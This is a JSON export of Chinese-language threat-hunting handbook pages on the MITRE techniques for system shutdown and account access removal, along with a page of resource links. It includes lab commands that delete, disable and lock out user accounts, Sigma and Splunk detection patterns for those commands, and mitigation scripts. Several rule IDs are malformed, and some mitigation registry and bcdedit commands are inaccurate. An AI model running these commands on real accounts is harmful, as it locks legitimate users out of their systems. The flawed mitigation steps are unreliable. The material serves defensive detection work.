```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控`shutdown.exe`执行及系统关机/重启事件，检测异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 1，检测`shutdown.exe`执行，检查命令行参数（如`-s`、`-r`、`/m`）。  \n   - 监控Windows系统日志事件ID 1074，检测关机/重启发起。  \n   - 监控Windows系统日志事件ID 6006，检测事件日志服务停止（系统关闭前）。  \n   - 监控Windows安全日志事件ID 4688，检测`shutdown.exe`或`wlrmdr.exe`进程创建。  \n   - 检查远程关机行为（如命令行包含`/m \\\\<target>`）。  \n\n2. **Sigma规则（关机/重启命令执行）**：\n   ```yaml\n   title: Windows关机或重启命令执行检测\n   id: m01234567-abcd-8901-2345-67890123hijk\n   status: stable\n   description: 检测使用shutdown.exe执行系统关机或重启，可能与攻击行为相关\n   references:\n     - https://attack.mitre.org/techniques/T1529/\n     - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown\n   tags:\n     - attack.impact\n     - attack.t1529\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID: 4688\n       Image|endswith: '\\shutdown.exe'\n       CommandLine|contains: 'shutdown'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 管理员计划的维护操作\n     - 自动化脚本执行\n   level: medium\n   ```\n\n3. **Sigma规则（系统关机/重启事件）**：\n   ```yaml\n   title: Windows系统关机或重启事件检测\n   id: n12345678-abcd-9012-3456-78901234ijkl\n   status: experimental\n   description: 检测系统关机或重启事件，可能与攻击行为相关\n   logsource:\n     product: windows\n     service: system\n   detection:\n     selection:\n       EventID:\n         - 1074\n         - 6006\n     condition: selection\n   fields:\n     - Message\n     - TimeCreated\n   falsepositives:\n     - 正常系统维护\n     - 用户手动关机\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测关机/重启相关行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Security\" EventCode=4688 CommandLine=\"*shutdown*\") OR (source=\"WinEventLog:System\" EventCode IN (1074,6006)) | stats count by EventCode, CommandLine, Message, SourceName, ComputerName\n     ```\n\n5. **工具支持**：\n   - 使用Sysinternals Process Monitor捕获`shutdown.exe`执行和相关进程活动。  \n   - 使用Sysinternals Autoruns检查计划任务是否包含关机命令：\n     ```cmd\n     autoruns -a | findstr \"shutdown\"\n     ```\n\n6. **威胁情报整合**：\n   - 检查命令行参数或父进程是否与已知恶意行为（如勒索软件）匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御系统关机/重启攻击需从权限控制、监控和恢复策略入手：\n\n1. **限制shutdown.exe执行**  \n   - 限制非管理员用户执行`shutdown.exe`：\n     ```powershell\n     icacls \"C:\\Windows\\System32\\shutdown.exe\" /deny \"Users:(X)\"\n     ```\n\n2. **加强权限管理**  \n   - 限制远程关机权限：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name LocalAccountTokenFilterPolicy -Value 0\n     ```\n\n3. **监控关机行为**  \n   - 启用Sysmon事件ID 1和Windows事件ID 4688、1074、6006，检测异常关机/重启。  \n   - 配置SIEM实时告警`shutdown.exe`执行或系统日志事件。  \n   - 使用EDR工具检测异常进程行为。  \n\n4. **配置系统恢复**  \n   - 启用自动重启策略：\n     ```cmd\n     bcdedit /set {default} bootstatuspolicy displayallfailures\n     ```\n   - 定期备份关键数据，防止关机后数据丢失。  \n\n5. **定期审计**  \n   - 检查计划任务：\n     ```powershell\n     Get-ScheduledTask | Where-Object { $_.Actions -match \"shutdown\" }\n     ```\n   - 检查关机事件：\n     ```powershell\n     Get-WinEvent -LogName System | Where-Object { $_.Id -in (1074, 6006) }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的权限提升漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1529  \n  <https://attack.mitre.org/techniques/T1529/>  \n- Windows shutdown命令官方说明  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown>"
  },
  {
    "path": "Windows/14影响/T1531-win-账户访问权限删除.md",
    "content": "# T1531-Win-账户访问权限移除\n\n## 描述\n\n攻击者通过删除、锁定或操纵用户账户，禁止合法用户访问系统或网络资源，从而中断可用性（T1531）。账户访问移除可能包括更改或重置密码、删除账户、锁定账户，或修改账户权限以限制访问。此类行为常用于破坏业务连续性、阻止管理员响应攻击，或作为勒索软件攻击的一部分。攻击者可能使用内置工具（如`net.exe`、`wmic.exe`、PowerShell）或GUI界面执行这些操作，通常需要管理员权限。\n\n账户访问移除可能与其他攻击技术（如数据破坏、服务停止）结合使用，以放大影响。检测重点在于监控账户相关事件（如密码更改、账户删除）、命令行活动及异常登录失败。\n\n## 测试案例\n\n1. **更改账户密码**  \n   使用`net user`更改用户密码，模拟攻击者阻止合法用户登录。  \n2. **重置账户密码**  \n   通过管理工具或命令行重置目标账户密码。  \n3. **删除用户账户**  \n   使用`net user /delete`或PowerShell删除账户。  \n4. **锁定用户账户**  \n   触发多次错误登录或使用`net user /active:no`锁定账户。  \n\n### 示例命令\n- **更改密码**（需管理员权限）：\n  ```cmd\n  net user TestUser NewPassword123\n  ```\n- **删除账户**：\n  ```cmd\n  net user TestUser /delete\n  ```\n- **锁定账户**：\n  ```cmd\n  net user TestUser /active:no\n  ```\n- **触发账户锁定**（多次错误登录）：\n  ```powershell\n  for ($i=1; $i -le 10; $i++) { runas /user:TestUser /netonly cmd.exe }\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4723**：尝试更改账户密码。  \n- **事件ID 4724**：尝试重置账户密码。  \n- **事件ID 4726**：用户账户被删除。  \n- **事件ID 4740**：用户账户被锁定。  \n- **事件ID 4625**：账户登录失败（可能因密码更改或锁定）。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`net.exe`或`powershell.exe`的命令行参数。  \n- **事件ID 13**：记录注册表修改，如账户配置变更（`HKLM\\SAM`）。  \n\n**配置日志记录**  \n- 启用账户管理审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 账户管理 > 审核用户账户管理`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和注册表监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+。  \n- **权限**：管理员权限（账户操作需提升权限）。  \n- **工具**：`net.exe`、`powershell.exe`（系统自带）、Sysmon。  \n- **账户**：创建测试账户（如`TestUser`）：\n  ```cmd\n  net user TestUser Password123 /add\n  ```\n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **更改账户密码**  \n   - 修改`TestUser`密码：\n     ```cmd\n     net user TestUser NewPassword123\n     ```\n\n2. **删除账户**  \n   - 删除`TestUser`账户：\n     ```cmd\n     net user TestUser /delete\n     ```\n\n3. **锁定账户**  \n   - 禁用账户：\n     ```cmd\n     net user TestUser /active:no\n     ```\n\n4. **验证结果**  \n   - 检查日志：  \n     - **Windows安全日志（事件ID 4723, 4726, 4740）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -in (4723, 4726, 4740) }\n       ```\n     - **Sysmon日志（事件ID 1）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"net.exe\" }\n       ```\n   - 尝试以`TestUser`登录，确认访问被阻止。\n\n5. **清理**  \n   - 恢复账户（若未删除）：\n     ```cmd\n     net user TestUser /active:yes\n     net user TestUser Password123\n     ```\n   - 重新创建账户（若已删除）：\n     ```cmd\n     net user TestUser Password123 /add\n     ```\n\n### 示例输出\n```cmd\nnet user TestUser NewPassword123\nThe command completed successfully.\n\nnet user TestUser /delete\nThe command completed successfully.\n\nnet user TestUser /active:no\nThe command completed successfully.\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4723，密码更改）**：\n  ```plaintext\n  EventID: 4723\n  Subject:\n    Security ID: CONTOSO\\Administrator\n    Account Name: Administrator\n    Account Domain: CONTOSO\n    Logon ID: 0x7169C\n  Target Account:\n    Security ID: CONTOSO\\TestUser\n    Account Name: TestUser\n    Account Domain: CONTOSO\n  ```\n\n- **Windows安全日志（事件ID 4726，账户删除）**：\n  ```plaintext\n  EventID: 4726\n  Subject:\n    Security ID: CONTOSO\\Administrator\n    Account Name: Administrator\n    Account Domain: CONTOSO\n    Logon ID: 0x7169C\n  Target Account:\n    Security ID: CONTOSO\\TestUser\n    Account Name: TestUser\n    Account Domain: CONTOSO\n  ```\n\n- **Windows安全日志（事件ID 4740，账户锁定）**：\n  ```plaintext\n  EventID: 4740\n  Subject:\n    Security ID: SYSTEM\n    Account Name: WIN-1CIA2BP8VBJ$\n    Account Domain: CONTOSO\n    Logon ID: 0x3E7\n  Target Account:\n    Security ID: CONTOSO\\TestUser\n    Account Name: TestUser\n    Account Domain: CONTOSO\n  Caller Computer Name: WIN-1CIA2BP8VBJ\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 2345\n  Image: C:\\Windows\\System32\\net.exe\n  CommandLine: net user TestUser /delete\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\Administrator\n  IntegrityLevel: High\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控账户管理事件及相关命令行活动，检测账户访问移除行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Windows安全日志事件ID 4723、4724、4726、4740，检测密码更改、账户删除或锁定。  \n   - 监控Sysmon事件ID 1，检测`net.exe`、`powershell.exe`或`wmic.exe`执行，检查命令行参数（如`/delete`、`/active:no`）。  \n   - 监控Sysmon事件ID 13，检测SAM注册表修改（如`HKLM\\SAM`）。  \n   - 监控Windows安全日志事件ID 4625，检测因密码更改或锁定导致的登录失败。  \n   - 关联多个账户事件，检查批量操作（如短时间内多个账户被删除）。  \n\n2. **Sigma规则（可疑账户操作）**：\n   ```yaml\n   title: Windows可疑用户账户操作检测\n   id: o23456789-abcd-0123-4567-89012345klmn\n   status: stable\n   description: 检测账户密码更改、删除或锁定，可能与访问移除相关\n   references:\n     - https://attack.mitre.org/techniques/T1531/\n   tags:\n     - attack.impact\n     - attack.t1531\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID:\n         - 4723\n         - 4724\n         - 4726\n         - 4740\n     condition: selection\n   fields:\n     - TargetAccountName\n     - SubjectAccountName\n     - ComputerName\n   falsepositives:\n     - 管理员合法账户管理\n     - 密码策略强制重置\n   level: medium\n   ```\n\n3. **Sigma规则（账户操作命令执行）**：\n   ```yaml\n   title: Windows账户操作命令执行检测\n   id: p34567890-abcd-1234-5678-90123456lmno\n   status: experimental\n   description: 检测使用net.exe执行账户删除或锁定操作\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\net.exe'\n       CommandLine|contains:\n         - '/delete'\n         - '/active:no'\n         - 'user '\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 管理员账户维护\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测账户操作及相关命令执行。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Security\" EventCode IN (4723,4724,4726,4740)) OR (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID=1 Image=\"*net.exe\" CommandLine IN (\"*/delete*\",\"*/active:no*\")) | stats count by EventCode, CommandLine, TargetAccountName, SubjectAccountName, ComputerName\n     ```\n\n5. **账户监控**：\n   - 检查账户状态：\n     ```powershell\n     Get-LocalUser | Select-Object Name, Enabled, PasswordLastSet\n     ```\n\n6. **工具支持**：\n   - 使用Sysinternals Process Monitor捕获账户相关命令执行。  \n   - 使用Sysinternals Autoruns检查计划任务是否包含账户操作：\n     ```cmd\n     autoruns -a | findstr \"net.exe\"\n     ```\n\n7. **威胁情报整合**：\n   - 检查命令行参数或账户名称是否与已知恶意行为（如勒索软件）匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御账户访问移除攻击需从权限控制、监控和恢复策略入手：\n\n1. **限制账户管理权限**  \n   - 限制非管理员用户执行`net.exe`：\n     ```powershell\n     icacls \"C:\\Windows\\System32\\net.exe\" /deny \"Users:(X)\"\n     ```\n\n2. **加强密码策略**  \n   - 启用账户锁定策略：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\" -Name MaximumPasswordAge -Value 30\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name LockoutThreshold -Value 5\n     ```\n\n3. **监控账户操作**  \n   - 启用Sysmon事件ID 1、13和Windows事件ID 4723、4724、4726、4740，检测账户异常操作。  \n   - 配置SIEM实时告警账户删除或锁定事件。  \n   - 使用EDR工具检测异常账户行为。  \n\n4. **定期备份账户数据**  \n   - 定期导出用户账户信息：\n     ```powershell\n     net user > accounts_backup.txt\n     ```\n\n5. **定期审计**  \n   - 检查账户状态：\n     ```powershell\n     Get-LocalUser | Where-Object { $_.Enabled -eq $false }\n     ```\n   - 检查账户事件：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -in (4723, 4724, 4726, 4740) }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的权限提升漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1531  \n  <https://attack.mitre.org/techniques/T1531/>\n"
  },
  {
    "path": "link.md",
    "content": "# Threat-Analysis-Handbook\n\n## 简介\n\nThreat-Analysis-Handbook目前已覆盖106个TID，326个场景。主要涵盖Web、Windows AD、Linux，涉及ATT&CK技术、模拟测试、检测思路、检测所需数据源等。\n\n![覆盖图](img/index.png)\n\n## 规则说明\n\nWeb_Attck检测规则为Suricata、Sigma两种格式，端点检测规则为Sigma格式为主。\n\n\n## 参考链接\n\n### Mitre.Att&ck\n\n- [attack.mitre](https://attack.mitre.org/)\n\n### 数据&组件\n\n- [Security-Datasets](https://github.com/OTRF/Security-Datasets/)\n- [OTRF/OSSEM](https://github.com/OTRF/OSSEM)\n- [Windows_Sysmon](https://github.com/SwiftOnSecurity/sysmon-config)\n- [HELK](https://github.com/Cyb3rWard0g/HELK)\n- [threathunters-io/laurel](https://github.com/threathunters-io/laurel)\n- [Zeek](https://github.com/zeek/zeek)\n- [Suricata](https://github.com/OISF/suricata)\n- [Microsoft事件日志思维导图](https://github.com/mdecrevoisier/Microsoft-eventlog-mindmap)\n- [Windows事件收集器部署工具](https://github.com/mdecrevoisier/Windows-WEC-server_auto-deploy#windows-event-collector-deployment-toolkit)\n- [SELKS](https://github.com/StamusNetworks/SELKS)\n\n\n### 开源规则\n\n- [Sigma](https://github.com/Neo23x0/sigma) (by Neo23x0)\n- [Elastic_detection-rules](https://github.com/elastic/detection-rules/tree/main/rules)\n- [elastic-prebuilt-rules](https://www.elastic.co/guide/en/security/current/prebuilt-rules.html)\n- [Splunk security_content](https://github.com/splunk/security_content/tree/develop/detections)\n- [Splunk-detections](https://research.splunk.com/detections/)\n- [Atomic Blue Detections](https://eqllib.readthedocs.io/en/latest/atomicblue.html)\n- [Detecting ATT&CK techniques & tactics for Linux](https://github.com/Kirtar22/Litmus_Test) (by Kirtar22)\n- [ThreatHunter-Playbook](https://github.com/OTRF/ThreatHunter-Playbook)\n- [Threat Hunter Playbook ](https://threathunterplaybook.com/intro.html)\n- [有关网络安全的所有最佳链接和资源](https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide)\n\n### 对手仿真\n\n- [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)  (by Red Canary)\n- [Purple-team-attack-automation](https://github.com/praetorian-inc/purple-team-attack-automation/wiki/Available-Modules)\n- [Mitre/caldera](https://github.com/mitre/caldera)\n- ......\n\n### 红队技术\n\n- [RedTeam-Tactics-and-Techniques](https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques) (by Mantvydas)\n- [AD-Pentest-Notes](https://github.com/chriskaliX/AD-Pentest-Notes)\n- [RedTeamNotes](https://github.com/biggerduck/RedTeamNotes)\n- [RedTeamAttack](https://github.com/r0eXpeR/RedTeamAttack)\n- [hassan0x/RedTeam](https://github.com/hassan0x/RedTeam)\n- [Awesome-CobaltStrike](https://github.com/zer0yu/Awesome-CobaltStrike)\n- [RedTeamCSharpScripts](https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts)\n- [redteam-notebookPublic](https://github.com/foobarto/redteam-notebook)\n- [学习的魔力](http://bitvijays.github.io/)\n- ......\n\n### 一些比较有意思的蓝队项目\n\n- [JetBrains系列产品.idea钓鱼反制红队](https://github.com/CC11001100/idea-project-fish-exploit)\n- [RedTeam_BlueTeam_HW](https://github.com/Mr-xn/RedTeam_BlueTeam_HW)\n- [开源网络钓鱼工具包gophish](https://github.com/gophish/gophish)\n- [MysqlHoneypot，获取攻击者微信ID](https://github.com/heikanet/MysqlHoneypot)\n"
  }
]